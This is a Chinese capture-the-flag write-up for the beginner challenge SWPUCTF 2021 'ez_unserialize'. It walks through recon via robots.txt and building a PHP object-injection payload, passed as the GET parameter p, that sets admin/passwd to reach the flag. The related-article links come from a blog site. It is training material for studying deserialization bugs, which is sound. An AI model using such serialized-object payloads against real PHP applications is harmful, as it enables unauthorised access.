[SWPUCTF 2021 新生赛] ez_unserialize

简介: [SWPUCTF 2021 新生赛] ez_unserialize

打开链接但是没有题目

使用御剑扫一下

flag.php打不开,但是在robots.txt里面我们找到了一个路径 /cl45s.php

打开之后是PHP源码

简单审一下,构造pop链:


链尾(就是最终我们想要利用的地方),在echo $flag 并且include了flag.php


往上看,发现只需要满足  ($this->admin === "admin" && $this->passwd === "ctf")


即admin="admin",passwd="ctf"


再往上看,发现执行这条语句我们需要触发__destruct()函数


__destruct是析构函数,会在对象的所有引用被删除或者当对象被显式销毁时自动执行,比如new完一个对象,当创建完成之后就不引用了,如果有赋值指向就会立马丢弃,触发destruct函数。


这里还有一个__construct()构造函数,它是在实例化一个对象(即new时)会自动调用。

上脚本:

<?php
class wllm{
    public $admin;
    public $passwd;
    public function __construct(){
        $this->admin ="user";
        $this->passwd = "123456";
    }
        public function __destruct(){
        if($this->admin === "admin" && $this->passwd === "ctf"){
            include("flag.php");
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        }
    }
}
$w=new wllm();
$w->admin="admin";
$w->passwd="ctf";
$w=serialize($w);
echo $w;

关于脚本的解释:


我们将题目给的类放进去


后面先实例化这个类,此时会触发__construct()函数,并进行如下变量的赋值:


$admin ="user"


%passwd = "123456"


但是不影响,我们再给它们进行一次赋值,赋值成符合下面if语句判断的值


$w->admin="admin";

$w->passwd="ctf";


(这里的w就是实例化后的类wllm,->是调用的意思,调用wllm类里面的这两个变量进行赋值)


我们说过new结束后,会触发__destruct()函数,此时来到if语句的判断,我们通过上面的赋值操作,让if语句判断为真,就会输出flag。


我们再将最终的$w用serialize函数进行序列化,并将结果输出:

得到 O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

题目中提示要以get方式给p传参,并且会对传入参数进行反序列化操作

因此我们将序列化后的内容传给p即可

构造payload:

?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

传入后直接回显flag

NSSCTF{7c700eec-a6b7-4c9e-87b0-c36876cfbd14}

目录
相关文章
|
9月前
|
JSON PHP 数据格式
[SWPUCTF 2021 新生赛]jicao
[SWPUCTF 2021 新生赛]jicao
413 0
|
9月前
|
PHP
[SWPUCTF 2021 新生赛]include
[SWPUCTF 2021 新生赛]include
91 0
|
5月前
|
数据安全/隐私保护
BUUCTF [ACTF新生赛2020]outguess 1
BUUCTF [ACTF新生赛2020]outguess 1
29 0
BUUCTF [ACTF新生赛2020]outguess 1
|
6月前
|
Java
hdu2519 新生晚会
hdu2519 新生晚会
30 0
|
9月前
|
安全 数据安全/隐私保护
[SWPUCTF 2021 新生赛]caidao
[SWPUCTF 2021 新生赛]caidao
106 0
|
9月前
|
PHP
[SWPUCTF 2021 新生赛]babyrce
[SWPUCTF 2021 新生赛]babyrce
172 0
|
9月前
|
安全 前端开发 JavaScript
[SWPUCTF 2021 新生赛]gift_F12
[SWPUCTF 2021 新生赛]gift_F12
113 0
|
9月前
|
数据安全/隐私保护
[SWPUCTF 2021 新生赛]crypto8
[SWPUCTF 2021 新生赛]crypto8
113 1
|
9月前
|
Linux PHP
[SWPUCTF 2021 新生赛]easyrce-解题思路
[SWPUCTF 2021 新生赛]easyrce-解题思路
151 1
|
机器学习/深度学习 运维 监控
1758支队伍参赛,第三届阿里云磐久智维算法大赛圆满落幕
产学研结合,碰撞更多更有价值的智能运维火花
1758支队伍参赛,第三届阿里云磐久智维算法大赛圆满落幕